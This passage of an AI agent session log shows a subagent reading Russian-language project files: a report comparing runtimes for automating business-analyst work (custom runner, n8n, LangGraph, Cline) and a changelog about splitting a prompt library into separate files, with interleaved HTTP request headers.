\u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n\\n**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437\\nOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n\u0436\u0435 \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u0432 Cline; \u0430 \u043f\u043e\u0442\u043e\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n2026 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n  \u0438\\n  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango: \u0441\u0435\u0442\u044c,\\n  \u043f\u0440\u0430\u0432\u0430, \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence. \u0416\u0438\u0432\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 n8n \u0438\u043b\u0438 LangGraph\\n  \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f; \u0432\u044b\u0432\u043e\u0434\u044b \u043e \u043d\u0438\u0445 \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434.\",\n[2026-09-29T07:46:33.860Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:33.860Z] [INFO]       }\n[2026-09-29T07:46:33.860Z] [INFO]     ]\n[2026-09-29T07:46:33.860Z] [INFO]   },\n[2026-09-29T07:46:33.860Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"uuid\": \"720f9f78-8ab7-42c3-82b5-2689b57e7f0c\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:33.837Z\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:33.860Z] [INFO] }\n[2026-09-29T07:46:33.884Z] [STDOUT] [log_6bf8e0] sending request {\n[2026-09-29T07:46:33.888Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:33.891Z] [STDOUT]   url: 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\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.120Z] [STDOUT]     \"x-client-request-id\": \"974d5dcb-e837-49ab-b380-9d6d3e1701e0\",\n[2026-09-29T07:46:34.125Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:34.128Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:34.134Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:34.140Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:34.143Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:34.164Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:34.171Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:34.180Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:34.187Z] [STDOUT]   },\n[2026-09-29T07:46:34.191Z] [STDOUT] }\n[2026-09-29T07:46:34.196Z] [INFO] {\n[2026-09-29T07:46:34.196Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"message\": {\n[2026-09-29T07:46:34.196Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:34.196Z] [INFO]     \"content\": [\n[2026-09-29T07:46:34.196Z] [INFO]       {\n[2026-09-29T07:46:34.196Z] [INFO]         \"tool_use_id\": \"toolu_01Px5oxRHHjcmhFhM6xWqKAS\",\n[2026-09-29T07:46:34.196Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:34.196Z] [INFO]         \"content\": \"- `README.md` (v2.1): \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0440\u0430\u0437\u0434\u0435\u043b \u00ab\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0438 \u0442\u0430\u043a\u0442\u0438\u043a\u0430\u00bb (\u0446\u0435\u043b\u044c \u2014\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0411\u0410 Mango; \u0442\u0430\u043a\u0442\u0438\u043a\u0430 \u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432; \u0441\u0441\u044b\u043b\u043a\u0430\\n  \u043d\u0430 RFC), \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0451\u043d\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 frontmatter\\n  \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u043a 4 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u043b\u044f\u043c, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f.\\n\\n### Changed \u2014 Issue #56 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u0435 draft-\u0444\u0430\u0439\u043b\u0430 \u043d\u0430 23 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n- \u0424\u0430\u0439\u043b `prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md` (\u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0432 issue #54 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u044b\u0439\\n  draft) \u0440\u0430\u0437\u0431\u0438\u0442 \u043d\u0430 **23 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430** \u043f\u043e \u0441\u0445\u0435\u043c\u0435 `[\u0434\u043e\u043c\u0435\u043d]-[\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f]-[\u0440\u0435\u0436\u0438\u043c].md`\\n  (kebab-case). **18 \u043d\u043e\u0432\u044b\u0445** \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u0432 [`prompts/`](prompts/)\\n  (`status: draft`, `version: 0.1`); **5 legacy-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438\u0437 PDF** \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b\\n  \u0432 [`prompts/`](prompts/) \u0441 \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c `-legacy` (`status: draft`, `version: 1.0`),\\n  \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f; **6 \u0441\u0442\u0430\u0440\u044b\u0445 canonical-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432** \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432\\n  [`prompts/archive/`](prompts/archive/) \u0441 \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c `-legacy` (`status: archived`,\\n  `version: 1.0`). \u0422\u0435\u043a\u0441\u0442 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d **\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e** (\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\\n  \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043f\u0440\u043e\u0442\u0438\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430); \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 frontmatter (`status`,\\n  `version`, `updated: 2026-06-11`, `temperature: 0.1`) \u0438 experimental marker \u0441\u0440\u0430\u0437\u0443\\n  \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e.\\n- **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438** \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410: `understanding`\\n  (\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442/\u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u00a72, \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0449\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u00a79.1), `documentation` (\u0424\u0422 \u00a73.1,\\n  \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u00a74, \u0440\u0435\u0437\u044e\u043c\u0435 \u0432\u0441\u0442\u0440\u0435\u0447 \u00a77\u20138, \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u00a79.2), `validation`\\n  (\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u00a73.2), `solution-design` (\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e-\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u00a75),\\n  `modeling` (User Story \u00a76.1, Use Case \u00a76.2), `ingestion` (\u043f\u043e\u0441\u0442-\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 ASR \u00a710).\\n- **\u0420\u0435\u0436\u0438\u043c\u044b.** \u0422\u043e\u043a\u0435\u043d\u044b `stepwise` (\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u044b\u0439, \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u043e\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435) / `oneshot`\\n  (\u042d\u043a\u0441\u043f\u0440\u0435\u0441\u0441, one-shot) / `legacy` (\u0430\u0440\u0445\u0438\u0432\u043d\u044b\u0439) \u0432\u044b\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u0433\u043e\\n  \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f (\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043b \u00ab\u0434\u0440\u0443\u0433\u043e\u0439 \u0440\u0435\u0436\u0438\u043c \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00bb):\\n  `expert`/`express` \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0435\u0439, \u0430 \u00abexpert\u00bb \u043a\u043e\u043b\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442\\n  \u0441 role-prompting-\u0438\u0434\u0438\u043e\u043c\u043e\u0439 \u00abact as an expert\u00bb; `stepwise` \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\\n  \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 (`usecase-stepwise-generator-simple.md`) \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430\u043c\u0438\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (\u00ab\u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439\u00bb / \u00abone-shot\u00bb). \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u2014 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 PR #57.\\n- **Removed.** \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0444\u0430\u0439\u043b `prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md` \u0443\u0434\u0430\u043b\u0451\u043d **\u0442\u043e\u043b\u044c\u043a\u043e\\n  \u043f\u043e\u0441\u043b\u0435** \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0441\u0435\u0445 23 \u0444\u0430\u0439\u043b\u043e\u0432; \u043e\u043f\u0443\u0441\u0442\u0435\u0432\u0448\u0438\u0439\\n  \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `prompts/drafts/` \u0443\u0434\u0430\u043b\u0451\u043d. \u0417\u0430\u043f\u0438\u0441\u044c CHANGELOG issue #54 \u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 draft\\n  \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0430 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0444\u0430\u043a\u0442 \u2014 \u0434\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0433 \u0435\u0451 \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043c\u0435\u0449\u0430\u0435\u0442.\\n\\n### Added \u2014 Issue #54 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0432 `prompts/drafts/`\\n\\n- \u0421\u043e\u0437\u0434\u0430\u043d `prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md` (\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `prompts/drafts/` \u043f\u043e\u0437\u0436\u0435\\n  \u0440\u0430\u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d) \u2014 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f\\n  \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043a issue #54 (`\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf`, \u0421\u041f\u0418\u0421\u041e\u041a\\n  \u041f\u0420\u041e\u041c\u041f\u0422\u041e\u0412 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u0422\u0435\u043b\u0435\u043a\u043e\u043c SaaS). \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 issue \u00ab\u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u044b\u0439\\n  \u0444\u0430\u0439\u043b = \u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\u00bb PDF \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d \u043a\u0430\u043a \u043e\u0434\u0438\u043d draft \u0431\u0435\u0437 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u044f \u043d\u0430\\n  \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b. \u0422\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 PDF \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439; \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b\\n  \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 frontmatter (`status: draft`, `version: 0.1`, `updated: 2026-06-10`,\\n  `temperature: 0.1`) \u0438 experimental marker ``.\\n- \u0414\u043b\u044f draft-\u0444\u0430\u0439\u043b\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f issue `prompt:review` (labels `prompt:review`, `draft`).\\n  \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u043c: \u0443 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u0442 \u043f\u0440\u0430\u0432 